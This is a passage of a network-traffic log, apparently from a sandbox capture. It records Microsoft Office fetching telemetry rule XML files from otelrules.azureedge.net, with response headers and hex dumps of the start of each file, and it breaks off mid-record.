2024-11-23 16:45:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:43 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 16dd49bc-d01e-0066-804e-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164543Z-178bfbc474bw8bwphC1NYC38b400000004g000000000emmv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:43 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:43 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:43 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c76163b7-601e-0070-0647-3ca0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164543Z-178bfbc474bbcwv4hC1NYCypys00000004h000000000e41c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:44 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:43 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:43 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 80a20124-101e-0046-4f43-3c91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164543Z-15b8b599d88wn9hhhC1TEBry0g000000039g000000006gps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:44 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:44 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:44 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 66d7e927-a01e-006f-5564-3d13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164544Z-15b8b599d88g5tp8hC1TEByx6w000000031g00000000n25a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:44 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:44 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:44 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164544Z-178bfbc474b7cbwqhC1NYC8z4n00000004m000000000e1pp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:44 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:45 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:46 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164546Z-178bfbc474brk967hC1NYCfu6000000004dg00000000kxgz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:46 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:45 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:46 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: d8182971-801e-0067-2581-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164546Z-174c587ffdfdwxdvhC1TEB1c4n000000032000000000gwfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:46 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:45 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:46 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 6d656984-c01e-008d-0d1b-3d2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164546Z-178bfbc474bw8bwphC1NYC38b400000004p0000000001wqu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:46 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:46 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:46 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: bac6914c-b01e-0002-4559-3c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164546Z-15b8b599d882l6clhC1TEBxd5c000000031000000000eh49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:47 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:46 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:47 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164547Z-174c587ffdftv9hphC1TEBm29w000000030g00000000qy4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:47 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:48 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:48 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:48 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 40694bf4-501e-008c-7530-3ccd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164548Z-178bfbc474bxkclvhC1NYC69g400000004ng00000000bq0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:48 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:48 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:48 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:48 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: af8656a8-801e-00a0-672a-3c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164548Z-178bfbc474bh5zbqhC1NYCkdug00000004sg000000000ar3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 16:45:48 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" 